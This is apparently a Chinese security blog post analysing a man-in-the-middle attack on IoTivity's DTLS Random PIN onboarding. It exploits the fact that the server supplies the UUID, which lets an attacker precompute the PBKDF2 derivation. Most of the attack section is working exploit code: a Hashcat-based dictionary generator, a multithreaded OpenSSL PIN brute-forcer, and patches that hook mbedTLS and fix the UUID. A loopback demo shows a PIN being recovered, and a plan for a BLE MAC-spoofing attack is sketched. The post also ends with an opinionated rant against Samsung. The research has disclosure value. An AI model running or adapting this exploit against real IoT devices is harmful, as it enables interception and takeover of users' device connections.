zoukankan      html  css  js  c++  java
  • 物联网框架 IoTivity 中间人攻击分析

    前言

    IoTivity是物联网(IoT)标准的开源实现,该标准由Open Connectivity Foundation(OCF)组织制定

    同时支持IP、BLE、BT、TCP及NFC等多种连接方式

    并且兼容Ubuntu、Android、Tizen和Arduino等环境

    本文将对IoTivity所采用的DTLS安全连接协议进行中间人攻击

    IoTivity框架结构

    低功耗蓝牙(BLE)概述

    HCI:蓝牙链路控制层

    GATT:服务和属性控制层

    Service:设备提供的服务

    Characteristic:服务提供的接口,一般会提供多种方法,比如Write、Read、Notify等

    graph TD subgraph HCI subgraph GATT subgraph Service subgraph Characteristic Write Read Notify end end end end

    中间人攻击(MITM)概述

    中间人攻击(Man In The Middle,简称MITM)是指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。

    根据中间人是否对通信内容进行篡改,又可分为主动的中间人攻击和被动的中间人攻击

    通信加密(DTLS)概述

    IoTivity框架下,设备的连接方式有三种,分别是Just WorksRandom PINManufacturer Certificate

    这三种连接方式均采用ECDH(E)作为密钥协商算法,可以有效抵挡被动的中间人攻击,并保证连接的前向安全性

    通信协议采用的是DTLS,是基于UDP连接方式的TLS实现,所用的加密套件和TLS相同

    Just Works

    此模式使用TLS_ECDH_anon_WITH_AES_128_CBC_SHA256加密套件,无法抵挡主动的中间人攻击

    在这个工作模式下,通信双方不需要设置预共享密钥或证书,即可直接建立起TLS连接

    优点是连接方便,适用于没有显示功能的蓝牙设备

    缺点是连接的安全性没有保证

    Random PIN

    此模式使用TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256加密套件,可以在一定程度上抵挡主动的中间人攻击,安全性取决于PIN的复杂程度

    由服务端生成8位数字PIN,并通过安全信道(Out Of Band,简称OOB)将其分发给客户端,随后PIN会用于TLS加密套件的的认证过程

    举个例子,通过电视屏幕来显示PIN就是一种OOB的方案,只需要保证中间人得不到这个PIN即可

    优点是每次使用的PIN都是随机生成的,这种连接方式有比较高的安全性,而且连接方式比较简单

    一般来说,最常用的连接方法就是Random PIN

    Manufacturer Certificate

    此模式使用MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8加密套件,无法抵挡主动的中间人攻击

    服务端和客户端需要提前配置好ECDSA证书,随后ECDSA证书会用于TLS加密套件的的认证过程

    缺点是证书容易泄露,无法保证连接的安全性,而且配置证书的过程比较繁琐

    基于BLE的协议栈

    DTLS:负责通信加密

    CoAP:负责传输控制

    GATT:负责提供蓝牙接口

    HCI:负责蓝牙链路控制

    graph LR subgraph IoTivity DTLS CoAP GATT HCI end

    中间人攻击

    下面将以Random PIN连接方式为例,通过Hook mbedTLS中的相关函数,对TLS_ECDHE_PSK加密套件进行中间人攻击

    TLS_ECDHE_PSK握手过程

    Client Hello:包含Client Random

    Server Hello:包含Server Random

    Server Key Exchange:包含Server UUIDServer Public Key

    Client Key Exchange:包含Client UUIDClient Public Key

    Client Finish:计算握手信息的HMAC_SHA256摘要,并使用AES密钥对其进行加密,再将AES加密所用的IV附在前面

    Client Finish的生成过程

    [PSK=PBKDF2(HMAC\_SHA256,PIN,Server UUID,1000)\ Z=ECDHE\_SECRET(Client(Server) Private Key,Server(Client) Public Key)\ PreMaster={Z,PSK}\ PadBuf=SHA256(HandShake)\ Master=PRF(HMAC\_SHA256,PreMaster,"extended master secret",PadBuf)\ RandBytes={Server Random,Client Random}\ KeyBlk=PRF(HMAC\_SHA256,Master,"key expansion",RandBytes)\ Hash=PRF(HMAC\_SHA256,Master,"client finished",PadBuf)\ IV=Random()\ Cipher=AES\_Encrypt(KeyBlk.key,IV,Hash)\ Client Finish={IV,Cipher} ]

    Client Finish的依赖关系

    graph LR UUID-->PSK PIN-->PSK PSK-->PreMaster PrivateKey-->Z PublicKey-->Z Z-->PreMaster HandShake-->PadBuf PreMaster-->Master PadBuf-->Master ServerRandom-->RandBytes ClientRandom-->RandBytes RandBytes-->KeyBlk Master-->KeyBlk Master-->Hash PadBuf-->Hash KeyBlk-->Cipher Random("Random()")-->IV IV-->Cipher Hash-->Cipher IV-->ClientFinish Cipher-->ClientFinish

    中间人攻击过程

    在已知

    [Z,PadBuf,RandBytes,IV,Cipher ]

    的前提下,我们可以通过暴力尝试来找到PIN满足

    [AES\_Decrypt(KeyBlk.key,IV,Cipher)==Hash ]

    从而与真正的Client和Server完成连接,进而监听整个会话信息

    密码学误用

    [PSK=PBKDF2(HMAC\_SHA256,PIN,Server UUID,1000) ]

    注意在OCF制定的标准中,生成PSK所用的UUID是Server提供的,因此MITM作为假Server可以在握手的时候提供一个固定的UUID,这样就可以通过提前打表来绕过PBKDF2的迭代过程,从而减少破解PIN所需要的时间

    部分攻击代码

    这里为了方便演示只暴力尝试以00开头的PIN,破解用时不到1秒,平均每秒尝试(10^6)

    考虑到实际连接中超时时间通常设置为60秒,所以理论上可以在窗口时间内破解出任何PIN,只需要增加字典的数目即可

    使用GPU对PBKDF2进行打表(需要Hashcat环境)

    m10900-pure.cl

    KERNEL_FQ void m10900_comp (KERN_ATTR_TMPS_ESALT (pbkdf2_sha256_tmp_t, pbkdf2_sha256_t))
    {
      const u64 gid = get_global_id (0);
    
      if (gid >= gid_max) return;
    
      const u64 lid = get_local_id (0);
    
      const u32 r0 = tmps[gid].out[0];
      const u32 r1 = tmps[gid].out[1];
      const u32 r2 = tmps[gid].out[2];
      const u32 r3 = tmps[gid].out[3];
      const u32 r4 = tmps[gid].out[4];
      const u32 r5 = tmps[gid].out[5];
      const u32 r6 = tmps[gid].out[6];
      const u32 r7 = tmps[gid].out[7];
    
      printf("%08x%08x %08x%08x%08x%08x%08x%08x%08x%08x
    ",hc_swap32_S(pws[gid].i[0]),hc_swap32_S(pws[gid].i[1]),r0,r1,r2,r3,r4,r5,r6,r7);
    }
    

    gendict.cpp

    #include <cstdio>
    #include <cstdlib>
    
    char cmd[1024];
    
    // HASH = PBKDF2-HMAC-SHA256
    // PIN = 00000000 ~ 99999999
    // UUID = 00000000000040004000000000000000
    // ITER = 1000
    
    char fmt[]="del kernels\m10900-*&hashcat --force --quiet --keep-guessing --self-test-disable --potfile-disable -m 10900 -a 3 sha256:1000:AAAAAAAAQABAAAAAAAAAAA==:0000000000000000000000 %02d?d?d?d?d?d?d > dict\dict%02d.txt";
    
    int main(){
        for (int i=0;i<1;i++){ //100
            sprintf(cmd,fmt,i,i);
            printf("%d
    ",i);
            system(cmd);
        }
    }
    

    多线程暴力尝试PIN(需要OpenSSL环境)

    oc_brute.c

    #include <openssl/conf.h>
    #include <openssl/evp.h>
    #include <openssl/err.h>
    #include <openssl/hmac.h>
    #include <string.h>
    #include <pthread.h>
    
    int debug=0;
    unsigned char pin[1000000][8],psk[1000000][16];
    
    unsigned char _pin[16+1],_psk[64+1];
    
    // Public IN
    
    typedef struct brute_t{
        unsigned char label1[32];
        unsigned char label2[32];
        unsigned char label3[32];
        unsigned char z[32];
        unsigned char padbuf[32];
        unsigned char randbytes[64];
        unsigned char iv[16];
        unsigned char cipher[64];
    }brute_t;
    
    brute_t brute_in;
    
    // Public OUT
    unsigned char *brute_out;
    
    pthread_t plist[100];
    
    unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len,
                        const unsigned char *d, size_t n, unsigned char *md,
                        unsigned int *md_len);
    
    void hexlify(unsigned char *buf,int len)
    {
      for (int i=0;i<len;i++)
        printf("%02x",buf[i]);
      printf("
    ");
    }
    
    void handleErrors()
    {
        //printf("ERR
    ");
    }
    
    void PRF(const EVP_MD *evp_md,
            unsigned char *secret, size_t slen,
            unsigned char *label,
            unsigned char *randombytes, size_t rlen,
            unsigned char *dstbuf, size_t dlen )
    {
        size_t nb;
        size_t i, j, k, md_len;
        unsigned char tmp[128];
        unsigned char h_i[32];
        HMAC_CTX *md_ctx=HMAC_CTX_new();
        unsigned int _md_len;
    
        md_len = EVP_MD_size( evp_md );
        nb = strlen( (char*)label );
        memcpy( tmp + md_len, label, nb );
        memcpy( tmp + md_len + nb, randombytes, rlen );
        nb += rlen;
    
        /*
         * Compute P_<hash>(secret, label + brute_in.randbytesom)[0..dlen]
         */
    
        HMAC_Init_ex( md_ctx, secret, slen, evp_md, NULL );
        HMAC_Update( md_ctx, tmp + md_len, nb );
        HMAC_Final( md_ctx, tmp, &_md_len );
    
        // HMAC_Init_ex() initializes or reuses a B<HMAC_CTX> structure to use the hash
        // function B<evp_md> and key B<key>. If both are NULL, or if B<key> is NULL
        // and B<evp_md> is the same as the previous call, then the
        // existing key is
        // reused. B<ctx> must have been created with HMAC_CTX_new() before the first use
        // of an B<HMAC_CTX> in this function.
    
        for( i = 0; i < dlen; i += md_len )
        {
            HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
            HMAC_Update( md_ctx, tmp, md_len + nb );
            HMAC_Final( md_ctx, h_i, &_md_len );
    
            HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
            HMAC_Update( md_ctx, tmp, md_len );
            HMAC_Final( md_ctx, tmp, &_md_len );
    
            k = ( i + md_len > dlen ) ? dlen % md_len : md_len;
    
            for( j = 0; j < k; j++ )
                dstbuf[i + j]  = h_i[j];
        }
    
        HMAC_CTX_free( md_ctx );
    }
    
    int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
                unsigned char *iv, unsigned char *plaintext)
    {
        EVP_CIPHER_CTX *ctx;
        int len;
        int plaintext_len;
    
        /* Create and initialise the context */
        if(!(ctx = EVP_CIPHER_CTX_new()))
            {handleErrors();}
    
        /*
         * Initialise the decryption operation. IMPORTANT - ensure you use a key
         * and brute_in.iv size appropriate for your cipher
         * In this example we are using 128 bit AES (i.e. a 128 bit key). The
         * brute_in.iv size for *most* modes is the same as the block size. For AES this
         * is 128 bits
         */
        if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
            {handleErrors();}
    
        /*
         * Provide the message to be decrypted, and obtain the plaintext output.
         * EVP_DecryptUpdate can be called multiple times if necessary.
         */
        if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
            {handleErrors();}
        plaintext_len = len;
    
        /*
         * Finalise the decryption. Further plaintext bytes may be written at
         * this stage.
         */
        if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
            {handleErrors();}
        plaintext_len += len;
    
        /* Clean up */
        EVP_CIPHER_CTX_free(ctx);
    
        return plaintext_len;
    }
    
    void checkPIN(unsigned char *pin, unsigned char *psk)
    {
        unsigned char plain[64];
        unsigned char iv[16];
    
        memcpy(iv,brute_in.iv,16);
    
        // premaster = {lenbrute_in.z, brute_in.z, lenPSK, PSK}
        unsigned char pms[52];
        pms[0]=0;pms[1]=32;
        memcpy(pms+2,brute_in.z,32);
        pms[34]=0;pms[35]=16;
        memcpy(pms+36,psk,16);
        if (debug) {printf("pms : ");hexlify(pms,52);}
    
        // master = PRF(EVP_sha256(),pms, "extended master secret", brute_in.padbuf, 32, master, 48)
        unsigned char master[48];
        PRF(EVP_sha256(),pms,52,brute_in.label1,brute_in.padbuf,32,master,48);
        if (debug) {printf("master : ");hexlify(master,48);}
    
        // keyblk = PRF(EVP_sha256(),master, "key expansion", brute_in.randbytesbytes_after_swap, 64, keyblk, 128)
        unsigned char keyblk[256];
        //只需要把key算出来即可,不需要把256字节都算完
        PRF(EVP_sha256(),master,48,brute_in.label2,brute_in.randbytes,64,keyblk,80); //256);
        if (debug) {printf("keyblk : ");hexlify(keyblk,256);}
    
        // hash = PRF(EVP_sha256(),master, "client finished", brute_in.padbuf, 32, hash, 12)
        unsigned char hash[12];
        PRF(EVP_sha256(),master,48,brute_in.label3,brute_in.padbuf,32,hash,12);
        if (debug) {printf("hash : ");hexlify(hash,12);}
    
        // keyblock(:128) = {mac_dec(32), mac_enc(32), key2(16), key1(16), brute_in.iv_dec(16), brute_in.iv_enc(16)}
        unsigned char key[16];
        memcpy(key,keyblk+64,16);
        if (debug) {printf("key : ");hexlify(key,16);}
    
        // Decrypt the ciphertext
        decrypt(brute_in.cipher, 64, key, iv, plain);
        if (debug) {printf("plain : ");hexlify(plain,64);}
    
        // Verify
        if (debug) {
            hexlify(hash,12);
            hexlify(plain+12,12);
            printf("
    ");
        }
    
        if (!memcmp(hash,plain+12,12)){
            printf("PIN : %.8s
    ",pin);
            brute_out=pin;
        }
    }
    
    void unhex(unsigned char *dst,unsigned char *src,int dlen){
        for (int i=0,j=0;i<dlen;i++,j+=2){
            dst[i]=(src[j]>='a'?src[j]-'a'+10:src[j]-'0')*0x10+(src[j+1]>='a'?src[j+1]-'a'+10:src[j+1]-'0');
        }
    }
    
    void precheckPIN(void *idx){
        for (int i=((long long)idx*100000);i<(((long long)idx+1)*100000);i++){
            if (brute_out!=NULL) return;
            checkPIN(pin[i],psk[i]);
        }
    }
    
    void brute(){
        printf("brute start
    ");
        memcpy(brute_in.label1,"x65x78x74x65x6ex64x65x64x20x6dx61x73x74x65x72x20x73x65x63x72x65x74",22);
        memcpy(brute_in.label2,"x6bx65x79x20x65x78x70x61x6ex73x69x6fx6e",13);
        memcpy(brute_in.label3,"x63x6cx69x65x6ex74x20x66x69x6ex69x73x68x65x64",15);
        
        // infomation
        printf("Brute : 
    ");
        hexlify(brute_in.label1,22);
        hexlify(brute_in.label2,13);
        hexlify(brute_in.label3,15);
        hexlify(brute_in.z,32);
        hexlify(brute_in.padbuf,32);
        hexlify(brute_in.randbytes,64);
        hexlify(brute_in.iv,16);
        hexlify(brute_in.cipher,64);
    
        // read dict
        FILE *ret=freopen("/home/byaidu/iot-lite/dict/dict00.txt","r",stdin);
        if (ret==NULL) return;
        for (int i=0;i<1000000;i++){
            int rets=scanf("%s %s",_pin,_psk);
            if (rets==0) return;
            unhex(pin[i],_pin,8);
            unhex(psk[i],_psk,16);
        }
    
        // alloc 10 task
        for (long long i=0;i<10;i++){
            pthread_create(&plist[i], NULL, (void * (*)(void *))&precheckPIN, (void *)i);
        }
    
        // wait task
        for (int i=0;i<10;i++){
            pthread_join(plist[i],NULL);
        }
    
        if (brute_out!=NULL) {
            printf("succeed
    ");
        }else{
            printf("failed
    ");
            brute_out=(unsigned char*)"00000000";
        }
    }
    

    oc_exp.c

    #include <unistd.h>
    #include "oc_brute.c"
    
    #define lenHdr 12
    #define lenPIN 8
    #define lenUUID 0x10
    #define lenPSK 0x10
    #define lenEncMsg 0x50
    #define lenMsg 12
    #define lenRandbytes 64
    
    static unsigned char UUID[lenUUID];
    static unsigned char PSK[lenPSK];
    static unsigned char hash[lenMsg];
    static unsigned char randbytes[lenRandbytes];
    
    extern brute_t brute_in;
    
    extern int oc_tls_pbkdf2(const unsigned char *pin, size_t pin_len, oc_uuid_t *uuid,
                      unsigned int c, uint8_t *key, uint32_t key_len);
    extern int ssl_decrypt_buf( mbedtls_ssl_context *ssl );
    extern void ssl_calc_finished_tls_sha256(mbedtls_ssl_context *ssl, unsigned char *buf, int from );
    extern int mbedtls_ssl_psk_derive_premaster( mbedtls_ssl_context *ssl, mbedtls_key_exchange_type_t key_ex );
    extern int mbedtls_ssl_derive_keys( mbedtls_ssl_context *ssl );
    
    int firstconnect=1;
    
    extern void hexlify(unsigned char *buf,int len);
    
    int check_PIN(mbedtls_ssl_context *ssl){
      //remind to use Randbyes (after swap) here
      memcpy( brute_in.randbytes, randbytes + 32, 32 );
      memcpy( brute_in.randbytes + 32, randbytes, 32 );
      brute();
      //brute_out=(unsigned char*)"00000000";
    
      // 根据UUID和PIN计算PSK
      oc_uuid_t _UUID;
      memcpy(_UUID.id,UUID,lenUUID);
      
      // PIN = brute_out
      oc_tls_pbkdf2(brute_out,lenPIN,&_UUID,1000,PSK,lenPSK);
      printf("# PIN : ");hexlify(brute_out,lenPIN);
      printf("# UUID : ");hexlify(UUID,lenUUID);
      printf("# PSK : ");hexlify(PSK,lenPSK);
    
      // 设置PSK
      mbedtls_ssl_set_hs_psk(ssl,PSK,16);
    
      // 根据PSK和Z计算PMS
      mbedtls_ssl_psk_derive_premaster(ssl,MBEDTLS_KEY_EXCHANGE_ECDHE_PSK);
    
      // 根据PMS计算Master,KeyBlock,lenIV并设置Transform
      mbedtls_ssl_derive_keys(ssl);
    
      // Cacl HMAC_SHA256 After derive keys
      ssl_calc_finished_tls_sha256(ssl,hash,MBEDTLS_SSL_IS_CLIENT);
    
      // 应用Transform
      ssl->transform_in = ssl->transform_negotiate;
      ssl->session_in = ssl->session_negotiate;
      
      return 0;
    }
    
    // Modify / Brute PIN of HandShake and Verify PIN with EncMsg
    // Callback From : mbedtls_ssl_parse_finished
    int mbedtls_ssl_parse_finished_cb( mbedtls_ssl_context *ssl ){
      //fix the position of record
      ssl->in_msg+=16;
        
      // 2 bytes offset between in_msg & iv
      memcpy(brute_in.iv,ssl->in_msg-2,16);
      memcpy(brute_in.cipher,ssl->in_msg+16-2,64);
        
      // calc z & padbuf for brute_in
      size_t zlen;
      mbedtls_ecdh_calc_secret( &ssl->handshake->ecdh_ctx, &zlen,
                                           brute_in.z, 32,
                                           ssl->conf->f_rng, ssl->conf->p_rng );
      mbedtls_sha256_context sha256;
      mbedtls_sha256_init( &sha256 );
      mbedtls_sha256_clone( &sha256, &ssl->handshake->fin_sha256 );
      mbedtls_sha256_finish_ret( &sha256, brute_in.padbuf );
      
      // Save Randbytes
      memcpy(randbytes,ssl->handshake->randbytes,lenRandbytes);
    
      // Brute PIN
      check_PIN(ssl);
      return 0;
    }
    
    // Get UUID of HandShake
    // Callback From : ssl_parse_client_psk_identity / get_psk_cb
    int ssl_parse_client_psk_identity_cb( unsigned char *oc_PIN, unsigned char *ocUUID ){
      // read UUID set by app
      memcpy(UUID,ocUUID,lenUUID);
        
      // do something to skip warning
      memcpy(oc_PIN,"00000000",lenPIN);
      return 0;
    }
    

    oc_tls.c

    + if (firstconnect) ssl_parse_client_psk_identity_cb(PIN, (unsigned char *)&doxm->deviceuuid);
      if (oc_tls_pbkdf2(PIN, PIN_LEN, &doxm->deviceuuid, 1000, key, 16) != 0) {
        OC_ERR("oc_tls: error deriving PPSK");
        return -1;
      }
    

    ssl_srv.c

    +       if (firstconnect){
    +           ssl->state++;
    +           return( 0 );
    +       }
    
            MBEDTLS_SSL_DEBUG_ECDH( 3, &ssl->handshake->ecdh_ctx,
                                    MBEDTLS_DEBUG_ECDH_QP );
    
            case MBEDTLS_SSL_HANDSHAKE_WRAPUP:
                mbedtls_ssl_handshake_wrapup( ssl );
    +           firstconnect=0;
                break;
    

    ssl_tls.c

    int mbedtls_ssl_parse_finished( mbedtls_ssl_context *ssl )
    {
    +   if (firstconnect) mbedtls_ssl_parse_finished_cb(ssl);
    

    api_oc_uuid.c

    void
    oc_gen_uuid(oc_uuid_t *uuid)
    {
      int i;
      uint32_t r;
    
      for (i = 0; i < 4; i++) {
    -   r = oc_random_value();
    +   r=0;
        memcpy((uint8_t *)&uuid->id[i * 4], (uint8_t *)&r, sizeof(r));
      }
    

    另外Makefile也需要进行Patch,从而能正确编译并链接这些文件

    基于IP协议栈的攻击

    下面将演示中间人在提前不知道握手所用的PIN的前提下,仅通过部分握手报文来破解出PIN,并使用这个PIN来完成剩下的握手过程

    因为IoTivity对Linux的蓝牙支持不太友好,所以最后就只做了本地TCP/IP回路上的测试

    首先在Loopback上开启Client和MITM

    在Client使用Discover功能搜索MITM,然后点击Onboard进行连接

    注意这里的连接模式要选Random PIN

    随意填写一个PIN,比如00777777

    稍等片刻,MITM在终端输出PIN : 00777777,代表成功破解出Client所用的PIN

    随后Client弹出窗口提示成功连接设备

    连接成功后可以在Client查看MITM的详细信息

    基于BLE协议栈的攻击(TODO)

    蓝牙协议栈中依靠MAC地址来辨识不同的设备

    如果两个设备共用一个MAC地址就会在握手过程中互相干扰,导致mbedTLS的状态机出错

    所以我们只要想办法在连接过程中介入一个新的MAC地址就可以了

    首先还是Client向Server发送配对请求

    然后MITM伪装成Client的MAC地址向Server发送结束配对的请求

    最后MITM用另外一个新的MAC地址向Server重新发送配对请求

    这样整个连接过程中就存在3个不同的MAC地址,就能避免互相干扰的问题了

    而且这个重新请求的时间极短,用户应该很难察觉到

    其中修改MAC地址要用到BlueZ,或者也可以同时使用两个支持蓝牙4.0或5.0的Dongle设备

    可能还需要手动处理CoAP协议头,再通过重放数据来Bypass掉OCF协议中的一些Provisioning请求

    最后再把DTLS层数据传入Patch过的mbedTLS进行解析和破解工作

    工具

    nRF Connect

    一款非常强大的App,支持iOS和Android,可以在手机上查看周围任何蓝牙设备的生产商信息、Service以及Characteristic等,同时支持对Characteristic的各种操作

    UWP

    微软的UWP框架提供了蓝牙功能,而且开发流程非常简单,但是受限于Windows蓝牙栈,绝大多数的设备属性都没有办法修改,不推荐

    Noble / Bleno

    用于BLE通信的Node.js模块,支持Mac OS X, Linux, FreeBSD以及Windows等系统,而且对硬件有要求

    BlueZ

    包含Linux下的蓝牙的开发环境和工具集,包括hcitoolgatttool以及bluetoothctl,下面的这些项目都是基于BlueZ来实现的,但是BlueZ是针对GATT协议层的工具,如果GATT协议层之上还有很多层协议的话,直接使用这个工具就显得不是很合适了

    PyBluez/BluePy

    提供BlueZ的Python封装接口

    Ubertooth

    可以用于蓝牙监听的设备,黑色的PCB造型非常酷,但是必须要吐槽一下,丢包实在是太严重了,而且只能做被动监听,不推荐

    Bettercap

    虽然文档写的不错,但是提供的功能非常少,只能用来发包开个蓝牙锁,可以看成是个玩具级产品,不推荐

    Gattacker/Btlejuice

    这两个工具都是基于noble的项目,可以完整实现蓝牙的中间人攻击,并且提供了PythonNode.js的Bindings,不过它们都是针对GATT协议层的工具

    总结

    最好不要碰和三星相关的任何项目和产品,包括但不限于BadaTizen以及IoTivity,顺便加上没有几个App能用的三星电视

    珍爱生命,远离三星

    参考文章

    OCF Security Standards : https://openconnectivity.org/specs/OCF_Security_Specification_v2.1.2.pdf
    Server Key Exchange : https://tools.ietf.org/html/rfc4492#section-5.4
    ECDHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc5489#section-2
    DHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc4279#section-3
    ECDHE : https://blog.csdn.net/mrpre/article/details/78025940
    ECPoint : https://www.cnblogs.com/xinzhao/p/8963724.html
    DTLS Sample : https://wiki.wireshark.org/DTLS
    mbedTLS : https://github.com/ARMmbed/mbedtls
    IoTivity : https://github.com/iotivity/iotivity-lite
    BlueZ : http://www.bluez.org/
    BlueZ Document : https://core.docs.ubuntu.com/en/stacks/bluetooth/bluez/docs/
    PyBluez : https://github.com/pybluez/pybluez

  • 相关阅读:
    Shell脚本编程(三):shell参数传递
    Java代码里利用Fiddler抓包调试设置
    Shell脚本编程(二):shell变量
    Shell脚本编程(一):初识shell script
    JAVA使用SCANNER接收中文并输出时出现乱码
    RandomAccessFile类理解
    Vue(九):样式绑定v-bind示例
    Dockerfiles ENV和ARG的应用
    dockerfile中设置python虚拟环境+gunicorn启动
    Docker容器 暴露多个端口
  • 原文地址:https://www.cnblogs.com/algonote/p/13450150.html
Copyright © 2011-2022 走看看